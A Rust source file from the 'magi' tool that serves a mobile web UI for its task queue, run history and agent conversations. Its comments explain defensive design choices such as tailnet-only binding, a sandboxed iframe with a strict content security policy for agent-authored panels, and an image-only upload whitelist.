Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
119pub const DEFAULT_PORT: u16 = 7878;
120
121/// How often the change stream restats the queue and the runs directory.
122const POLL: Duration = Duration::from_secs(1);
123
124/// Keep-alive interval for the change stream. Phones and intermediaries drop
125/// an idle connection within a minute; a comment every fifteen seconds keeps
126/// the stream alive without waking the radio often enough to matter.
127const KEEPALIVE: Duration = Duration::from_secs(15);
128
129/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
130///
131/// A fixed period this long would not track a `[update] interval` shorter
132/// than itself: an operator who set `interval = "1m"` to make the deck
133/// notice a release within a minute would still wait up to fifteen of them
134/// for the next wake-up to even ask [`updater::Checker::should_check`].
135/// [`recheck_poll_period`] scales the sleep with the configured interval
136/// instead, and this is only its ceiling - reached at the default interval
137/// of a day, where waking any more often would just spend cycles asking a
138/// question that stays "no" for hours.
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141/// Floor on the same, so a very short `[update] interval` cannot spin
142/// [`run_update_recheck`] in a near-busy loop.
143const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145/// Runs returned when the client does not ask, and the ceiling if it asks for
146/// more. The cap exists because the list handler parses every `run.json` it
147/// returns, and a phone cannot render two thousand rows anyway.
148const LIST_DEFAULT: usize = 50;
149/// Upper bound for `?limit=`.
150const LIST_MAX: usize = 500;
151
152/// Width of a generated task title, matching what the CLI uses.
153const TITLE_MAX: usize = 72;
154
155/// Per-file cap for an attachment upload.
156///
157/// Enforced twice: axum's own body limit is raised one byte above this, only
158/// on the two attachment `POST` routes (see the router - every other route
159/// keeps the crate-wide default), so an oversize body is still read far
160/// enough to answer with our own message below rather than axum's generic
161/// one; this constant is what that message and the boundary check actually
162/// compare against.
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165/// The image types an attachment upload accepts - a closed whitelist, the
166/// same posture [`asset_content_type`] takes for panel assets and for the
167/// same reason: SVG is excluded on purpose because it is active content
168/// (it may carry `<script>`) and not merely a picture, so it never appears
169/// here even though `image/svg+xml` is a real IANA type.
170const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172/// Header carrying the operator's own filename. Free text, stored only for
173/// display - see [`talk::Attachment::name`]'s doc on why it never
174/// contributes to a path.
175const FILENAME_HEADER: &str = "x-filename";
176
177/// The header that makes serving agent-authored HTML defensible, sent by both
178/// panel routes and asserted verbatim by a test.
179///
180/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
181/// denies every fetch destination that is not re-allowed below, which is all of
182/// them except images and fonts; `img-src 'self' data:` means an image comes
183/// from magi's own asset route or from the document itself, so a panel cannot
184/// signal an outside server by pointing an `<img>` at it - the classic
185/// exfiltration channel for markup that cannot run script. `style-src
186/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
187/// free formatting means here and a style sheet cannot make a request that
188/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
189/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
190/// stops a form posting the owner's decision to a third party, and
191/// `frame-ancestors 'self'` stops another site framing the panel to phish with
192/// it.
193///
194/// There is deliberately no `script-src`: `default-src 'none'` already covers
195/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
196/// denied twice over. Weakening any directive here is the difference between a
197/// panel the owner reads and a page that can talk to the tailnet, which is why
198/// the test compares the whole string rather than looking for a substring.
199const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200                         font-src data:; base-uri 'none'; form-action 'none'; \
201                         frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207/// Which address to listen on.
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210    /// Ask Tailscale, and fall back to loopback with a warning.
211    Auto,
212    /// An address the operator named.
213    Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217    type Err = String;
218
219    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
220    /// the CLI can take `--bind` straight into it: the one spelling of
221    /// `auto` that matters is the one this function knows.
222    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223        if s.eq_ignore_ascii_case("auto") {
224            return Ok(Self::Auto);
225        }
226        s.parse()
227            .map(Self::Addr)
228            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229    }
230}
231
232impl std::fmt::Display for Bind {
233    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234        match self {
235            Self::Auto => f.write_str("auto"),
236            Self::Addr(addr) => write!(f, "{addr}"),
237        }
238    }
239}
240
241/// How to serve.
242#[derive(Debug, Clone)]
243pub struct Opts {
244    /// Address to listen on.
245    pub bind: Bind,
246    /// Port to listen on.
247    pub port: u16,
248    /// Repository used for tasks posted without one.
249    pub repo: PathBuf,
250    /// Print the URL on its own line for a caller that wants to hand it to a
251    /// browser. magi never launches one itself.
252    pub open: bool,
253    /// Merge mode override for the independent scheduler (`none`, `local`,
254    /// `pr`); `None` leaves it to each repository's own config.
255    ///
256    /// The same override as `magi serve --merge`, passed when the phone starts
257    /// dispatch without requiring a terminal.
258    pub merge: Option<String>,
259}
260
261impl Default for Opts {
262    fn default() -> Self {
263        Self {
264            bind: Bind::Auto,
265            port: DEFAULT_PORT,
266            repo: PathBuf::from("."),
267            open: false,
268            merge: None,
269        }
270    }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277/// Metadata only: no task instructions or conversation bodies are read here.
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279    try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283    try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287    use std::hash::{Hash as _, Hasher as _};
288    let entries = match std::fs::read_dir(root) {
289        Ok(entries) => entries,
290        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291        Err(e) => return Err(e),
292    };
293    let mut stamps = HashMap::new();
294    for entry in entries {
295        let entry = entry?;
296        let path = if runs {
297            entry.path().join("run.json")
298        } else {
299            entry.path()
300        };
301        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302            continue;
303        }
304        let identity = match file_identity(&path) {
305            Ok(identity) => identity,
306            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307            Err(e) => return Err(e),
308        };
309        let modified = identity
310            .modified
311            .duration_since(std::time::UNIX_EPOCH)
312            .unwrap_or_default();
313        let mut hasher = std::hash::DefaultHasher::new();
314        identity.hash(&mut hasher);
315        let id = if runs || all_entries {
316            entry.file_name().to_string_lossy().into_owned()
317        } else {
318            path.file_stem()
319                .unwrap_or_default()
320                .to_string_lossy()
321                .into_owned()
322        };
323        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324    }
325    Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330    base: u64,
331    changed: Vec<String>,
332    removed: Vec<String>,
333}
334
335fn notice_and_decision_stamps(ui: &Ui) -> std::io::Result<Stamps> {
336    let mut stamps = try_stamps(ui.notices.root(), false, true)?;
337    let inquiries = ui.home.join("notifications").join("task-inquiries");
338    for (id, stamp) in try_stamps(&inquiries, false, false)? {
339        stamps.insert(format!("decision:{id}"), stamp);
340    }
341    Ok(stamps)
342}
343
344fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
345    let mut changed: Vec<_> = next
346        .iter()
347        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
348        .map(|(id, _)| id.clone())
349        .collect();
350    let mut removed: Vec<_> = previous
351        .keys()
352        .filter(|id| !next.contains_key(*id))
353        .cloned()
354        .collect();
355    changed.sort_unstable();
356    removed.sort_unstable();
357    Delta {
358        base,
359        changed,
360        removed,
361    }
362}
363
364/// Change detection token for recorded runs under `runs`.
365#[cfg(test)]
366fn runs_revision(runs: &FsPath) -> u64 {
367    stamps_revision(&store_stamps(runs, true))
368}
369
370/// Opaque tokens use the exact metadata snapshot behind the delta, in both
371/// health and SSE. Nanoseconds and length also detect same-millisecond writes
372/// and deleting an older conversation (a newest-mtime token cannot do that).
373fn stamps_revision(stamps: &Stamps) -> u64 {
374    use std::hash::{Hash as _, Hasher as _};
375    if stamps.is_empty() {
376        return 0;
377    }
378    let mut entries: Vec<_> = stamps.iter().collect();
379    entries.sort_unstable();
380    let mut hasher = std::hash::DefaultHasher::new();
381    entries.hash(&mut hasher);
382    hasher.finish().max(1)
383}
384
385#[derive(Clone, Debug)]
386pub(crate) struct ChangeNotification {
387    pub payload: serde_json::Value,
388}
389
390#[derive(Default, Debug)]
391pub(crate) struct QueueIndex {
392    // Retain parsed records only while their file identity is unchanged.
393    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
394    #[cfg(test)]
395    reparsed: usize,
396}
397
398#[derive(Clone, Debug)]
399struct TaskRelation {
400    id: String,
401    status: Option<crate::queue::TaskStatus>,
402    priority: i32,
403    runs: Vec<String>,
404    source: Source,
405    chat: Option<String>,
406}
407
408impl From<Task> for TaskRelation {
409    fn from(task: Task) -> Self {
410        Self {
411            id: task.id,
412            status: Some(task.status),
413            priority: task.priority,
414            runs: task.runs,
415            source: task.source,
416            chat: task.chat,
417        }
418    }
419}
420
421#[derive(Debug, PartialEq, Eq, Hash)]
422struct FileIdentity {
423    modified: std::time::SystemTime,
424    len: u64,
425    #[cfg(unix)]
426    identity: (u64, u64, i64, i64),
427}
428
429fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
430    let meta = path.metadata()?;
431    Ok(FileIdentity {
432        modified: meta.modified()?,
433        len: meta.len(),
434        #[cfg(unix)]
435        identity: {
436            use std::os::unix::fs::MetadataExt as _;
437            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
438        },
439    })
440}
441
442type Revisions = (u64, u64, u64, u64, u64, u64);
443type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
444
445#[derive(Debug)]
446pub(crate) struct SharedMonitor {
447    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
448    pub latest: Arc<Mutex<MonitorSnapshot>>,
449    pub worker_started: std::sync::atomic::AtomicBool,
450    pub queue_index: Arc<Mutex<QueueIndex>>,
451    list_walks: Mutex<Vec<ListWalk>>,
452    disk: Arc<Mutex<DiskObservation>>,
453    health_index: Mutex<HealthIndex>,
454    disk_cache: Mutex<DiskCache>,
455    talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
456    talk_status_index: Mutex<TalkStatusIndex>,
457    bulk_slots: Arc<tokio::sync::Semaphore>,
458    talk_core_slots: Arc<tokio::sync::Semaphore>,
459    #[cfg(test)]
460    talk_parses: std::sync::atomic::AtomicUsize,
461}
462
463/// Request-time indexes retain projections, never transcripts or whole runs.
464#[derive(Debug, Default)]
465struct HealthIndex {
466    runs: HashMap<String, (FileIdentity, bool)>,
467    questions: Option<QuestionCounts>,
468    notices: Option<(u64, usize)>,
469    #[cfg(test)]
470    run_parses: usize,
471}
472
473/// Membership classification retains no transcript data, including for closed
474/// history that has never been requested. Cache unreadable files too.
475#[derive(Debug, Default)]
476struct TalkStatusIndex {
477    records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
478    #[cfg(test)]
479    parses: usize,
480}
481
482/// Talk's serializer writes status before turns. Stop deserializing as soon as
483/// that header is available; do not validate or traverse the transcript here.
484/// Noncanonical headers are bounded too and conservatively included in the
485/// initial page, where the ordinary row reader validates their actual status.
486fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
487    use serde::de::{IgnoredAny, MapAccess, Visitor};
488
489    struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
490    impl<'de> Visitor<'de> for StatusHeader<'_> {
491        type Value = ();
492
493        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
494            f.write_str("a conversation header")
495        }
496
497        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
498            while let Some(key) = map.next_key::<String>()? {
499                match key.as_str() {
500                    "status" => {
501                        *self.0 = Some(map.next_value()?);
502                        return Err(serde::de::Error::custom("conversation header complete"));
503                    }
504                    "turns" => {
505                        *self.0 = Some(talk::TalkStatus::Open);
506                        return Err(serde::de::Error::custom("noncanonical conversation header"));
507                    }
508                    _ => {
509                        map.next_value::<IgnoredAny>()?;
510                    }
511                }
512            }
513            Ok(())
514        }
515    }
516
517    // At most one KiB of read-ahead for canonical files, and a fixed maximum
518    // even for an oversized header. Do not call Deserializer::end: the rest of
519    // the document deliberately belongs to the paged row reader.
520    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
521    let mut json = serde_json::Deserializer::from_reader(reader);
522    let mut status = None;
523    // The visitor deliberately signals completion with an error, avoiding the
524    // deserializer's normal closing-brace check on the unfinished object.
525    let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
526    status.or_else(|| match result {
527        Ok(()) => Some(talk::TalkStatus::Open),
528        Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
529        Err(_) => None,
530    })
531}
532
533fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
534    // Without inode/ctime, same-size writes can retain the same timestamp.
535    // Re-read the bounded header rather than reuse an unprovable classification.
536    open_talk_ids_with(ui, ids, cfg!(unix), |path| {
537        std::fs::File::open(path).ok().and_then(read_talk_status)
538    })
539}
540
541fn open_talk_ids_with(
542    ui: &Ui,
543    ids: &[String],
544    cache_identity: bool,
545    mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
546) -> std::collections::HashSet<String> {
547    let mut index = ui
548        .monitor
549        .talk_status_index
550        .lock()
551        .unwrap_or_else(PoisonError::into_inner);
552    let present: std::collections::HashSet<_> = ids.iter().collect();
553    index.records.retain(|id, _| present.contains(id));
554    let mut open = std::collections::HashSet::new();
555    for id in ids {
556        let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
557            index.records.remove(id);
558            continue;
559        };
560        let status = if cache_identity
561            && let Some((old, status)) = index.records.get(id)
562            && *old == identity
563        {
564            *status
565        } else {
566            let status = read_status(&ui.talks.path_of(id));
567            #[cfg(test)]
568            {
569                index.parses += 1;
570            }
571            if cache_identity
572                && file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity)
573            {
574                index.records.insert(id.clone(), (identity, status));
575            } else {
576                index.records.remove(id);
577            }
578            status
579        };
580        if status == Some(talk::TalkStatus::Open) {
581            open.insert(id.clone());
582        }
583    }
584    open
585}
586
587/// Live stamps invalidate counts immediately; the TTL also refreshes lease state.
588const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
589
590#[derive(Debug)]
591struct QuestionCounts {
592    revision: u64,
593    measured: std::time::Instant,
594    open: usize,
595    owner: usize,
596}
597
598#[derive(Debug, Clone)]
599struct DiskSizes {
600    runs: u64,
601    worktrees: u64,
602    cache: Option<u64>,
603}
604
605#[derive(Debug, Default)]
606struct DiskCache {
607    measured: Option<std::time::Instant>,
608    loading: bool,
609    config: Option<Config>,
610    disk: Option<DiskSizes>,
611    update: Option<UpdateView>,
612}
613
614/// Keep a failed store's last observation without suppressing healthy stores.
615fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
616    let (mut rev, mut stamps) = previous.unwrap_or_default();
617    for (index, root, runs) in [
618        (0, ui.queue.root(), false),
619        (1, ui.runs.as_path(), true),
620        (2, ui.talks.root(), false),
621    ] {
622        if let Ok(next) = try_store_stamps(root, runs) {
623            let value = stamps_revision(&next);
624            match index {
625                0 => rev.0 = value,
626                1 => rev.1 = value,
627                _ => rev.3 = value,
628            }
629            stamps[index] = next;
630        }
631    }
632    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
633        rev.2 = stamps_revision(&next);
634    }
635    if let Ok(next) = notice_and_decision_stamps(ui) {
636        rev.4 = stamps_revision(&next);
637    }
638    rev.5 = ui.lock_loop().rev;
639    (rev, stamps)
640}
641
642impl SharedMonitor {
643    pub fn new() -> Self {
644        let (tx, _) = tokio::sync::broadcast::channel(64);
645        Self {
646            broadcaster: tx,
647            latest: Arc::default(),
648            worker_started: std::sync::atomic::AtomicBool::new(false),
649            queue_index: Arc::default(),
650            list_walks: Mutex::default(),
651            disk: Arc::default(),
652            health_index: Mutex::default(),
653            disk_cache: Mutex::default(),
654            talk_index: Mutex::default(),
655            talk_status_index: Mutex::default(),
656            bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
657            talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
658            #[cfg(test)]
659            talk_parses: std::sync::atomic::AtomicUsize::new(0),
660        }
661    }
662
663    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
664        let mut receiver = self.broadcaster.subscribe();
665        self.ensure_worker(ui);
666        loop {
667            if let Some((revisions, _)) = self
668                .latest
669                .lock()
670                .unwrap_or_else(PoisonError::into_inner)
671                .as_ref()
672            {
673                return Ok(*revisions);
674            }
675            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
676                .await
677                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
678                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
679        }
680    }
681
682    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
683        if self
684            .worker_started
685            .compare_exchange(
686                false,
687                true,
688                std::sync::atomic::Ordering::SeqCst,
689                std::sync::atomic::Ordering::SeqCst,
690            )
691            .is_err()
692        {
693            return;
694        }
695
696        let weak_ui = Arc::downgrade(ui);
697        tokio::spawn(async move {
698            let mut ticker = tokio::time::interval(POLL);
699            loop {
700                ticker.tick().await;
701                let Some(ui) = weak_ui.upgrade() else {
702                    break;
703                };
704
705                let previous = ui
706                    .monitor
707                    .latest
708                    .lock()
709                    .unwrap_or_else(PoisonError::into_inner)
710                    .clone();
711                let state = Arc::clone(&ui);
712                let scan =
713                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
714
715                // A slow filesystem must not turn missed ticks into a busy loop.
716                ticker.reset();
717                let Ok((revisions, next_stamps)) = scan else {
718                    continue;
719                };
720
721                let mut latest_guard = match ui.monitor.latest.lock() {
722                    Ok(g) => g,
723                    Err(p) => p.into_inner(),
724                };
725
726                let previous = latest_guard.take();
727                let (last_rev, prev_stamps) = match previous {
728                    Some((r, s)) => (Some(r), Some(s)),
729                    None => (None, None),
730                };
731
732                if last_rev == Some(revisions) {
733                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
734                    continue;
735                }
736
737                let mut payload = serde_json::json!({
738                    "queue_rev": revisions.0,
739                    "runs_rev": revisions.1,
740                    "questions_rev": revisions.2,
741                    "talks_rev": revisions.3,
742                    "notifications_rev": revisions.4,
743                    "loop_rev": revisions.5,
744                });
745
746                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
747                    for (index, (key, rev)) in [
748                        ("queue_delta", base.0),
749                        ("runs_delta", base.1),
750                        ("talks_delta", base.3),
751                    ]
752                    .into_iter()
753                    .enumerate()
754                    {
755                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
756                        if delta.changed.len() + delta.removed.len() > 0
757                            && delta.changed.len() <= 50
758                        {
759                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
760                        }
761                    }
762                }
763
764                *latest_guard = Some((revisions, next_stamps));
765                drop(latest_guard);
766
767                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
768            }
769        });
770    }
771}
772
773/// Everything the handlers touch.
774///
775/// The queue, the runs directory and the magi home are fields rather than
776/// process-global lookups so a test drives the real router against a temp
777/// directory instead of the operator's own history.
778#[derive(Debug, Clone)]
779pub struct Ui {
780    queue: Queue,
781    questions: Questions,
782    /// `<home>/notifications`, the bell's own store. Derived from `home` in
783    /// [`Ui::new`] so no constructor signature had to grow.
784    notices: Notices,
785    talks: Talks,
786    runs: PathBuf,
787    references: Arc<id_links::IndexCache>,
788    home: PathBuf,
789    repo: PathBuf,
790    /// Where the runs' worktrees live, for the health disk figures.
791    ///
792    /// Spelled independently of [`crate::run::default_worktree_root`] so the
793    /// test servers can point it at their own temp directory: the health route
794    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
795    /// be measuring the machine instead of the server.
796    worktrees_root: PathBuf,
797    /// Talks with an agent turn in flight right now.
798    ///
799    /// In-process and therefore not durable, which is correct: it guards
800    /// against two taps on one phone and two phones on one tailnet, both of
801    /// which are this process's own concurrency. A second `magi web` would not
802    /// see it, and a second `magi web` on the same home is already a
803    /// misconfiguration the queue's claims would catch first.
804    talk_turns: Arc<Mutex<TalkTurns>>,
805    /// Short persistence-to-worker-publication transactions only, never agent
806    /// execution. A handover closes admission before it releases the runtime.
807    admissions: Arc<tokio::sync::RwLock<bool>>,
808    /// Held by `POST /api/upgrade` from its busy-stage check until the first
809    /// progress record is written, so two taps cannot both start an upgrade.
810    /// After that `upgrade.json` carries the exclusion.
811    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
812    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
813    /// exclusion in memory for when `upgrade.json` could not be written.
814    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
815    /// Request failures before progress exists; never overwrite upgrade.json.
816    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
817    auto_failed_tag: Arc<Mutex<Option<String>>>,
818    upgrade_runner: UpgradeRunner,
819    /// Runs this process is resuming right now.
820    ///
821    /// Separate from `talk_turns` because a run and a talk are different
822    /// things to hold, and a resume is far more expensive to start twice: it
823    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
824    /// guards two taps and two phones, which is this process's own
825    /// concurrency.
826    resuming: Arc<Mutex<HashSet<String>>>,
827    /// The last scan of `[repos] roots`, and when it happened. Shared across
828    /// requests so polling `GET /api/repos` repeatedly does not repeat the
829    /// filesystem walk every time - see [`repos::Cache`].
830    repos_cache: repos::Cache,
831    /// The machine-config file the settings screen reads and writes: always
832    /// [`Config::machine_layer`], never anything a request names. A field so a
833    /// test can point it at its own temp directory instead of the operator's.
834    machine_config: Option<PathBuf>,
835    /// Merge mode override handed to the loop this process starts.
836    merge: Option<String>,
837    /// Local request revision and errors; execution belongs to detached workers.
838    looping: Arc<Mutex<LoopState>>,
839    /// Isolated route-test scheduler; never compiled into production.
840    #[cfg(test)]
841    launch: Launch,
842    /// A test-only stop point inside `talk_say`'s busy branch. See
843    /// [`BusyQueueGate`].
844    #[cfg(test)]
845    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
846    pub(crate) monitor: Arc<SharedMonitor>,
847}
848
849type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
850
851/// A one-shot stop point the busy branch's queued-draft write can be made to
852/// pause at, right before [`talk::queue`] runs.
853///
854/// Exists because a test cannot otherwise pin *when*, relative to the turn
855/// slot being freed, that write happens: `blocking` runs it on
856/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
857/// already finished, so counting polls on the handler future to park it at a
858/// particular `.await` is a guess about scheduling, not a fact about it - see
859/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
860/// used to do exactly that and paid for it with an occasional "async fn
861/// resumed after completion" panic under load.
862///
863/// `reached` fires the instant the write is about to run, so a test waits for
864/// a real event instead of a poll count. `release` then blocks the write
865/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
866/// rather than an async channel because this all happens inside the
867/// `spawn_blocking` closure the write already runs on, off any runtime
868/// worker, so blocking here costs nothing the write was not already going to
869/// cost.
870#[cfg(test)]
871struct BusyQueueGate {
872    reached: tokio::sync::oneshot::Sender<()>,
873    release: std::sync::mpsc::Receiver<()>,
874}
875
876#[cfg(test)]
877impl std::fmt::Debug for BusyQueueGate {
878    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
879        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
880    }
881}
882
883impl Ui {
884    /// A server over explicit paths.
885    pub fn new(
886        queue: Queue,
887        questions: Questions,
888        talks: Talks,
889        runs: PathBuf,
890        home: PathBuf,
891        repo: PathBuf,
892    ) -> Self {
893        Self {
894            queue,
895            questions,
896            notices: Notices::at(home.join("notifications")),
897            talks,
898            runs,
899            references: Arc::default(),
900            home,
901            repo,
902            // The default location, overridden by `with_worktrees_root` - a
903            // builder step rather than a ninth parameter, for the reason
904            // `with_merge` gives.
905            worktrees_root: run::default_worktree_root(),
906            talk_turns: Arc::default(),
907            admissions: Arc::default(),
908            upgrade_gate: Arc::default(),
909            upgrade_spawned: Arc::default(),
910            upgrade_request_error: Arc::default(),
911            auto_failed_tag: Arc::default(),
912            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
913            resuming: Arc::default(),
914            repos_cache: repos::Cache::new(),
915            machine_config: Config::machine_layer(),
916            merge: None,
917            looping: Arc::default(),
918            #[cfg(test)]
919            launch: launch_daemon,
920            #[cfg(test)]
921            busy_queue_gate: Arc::default(),
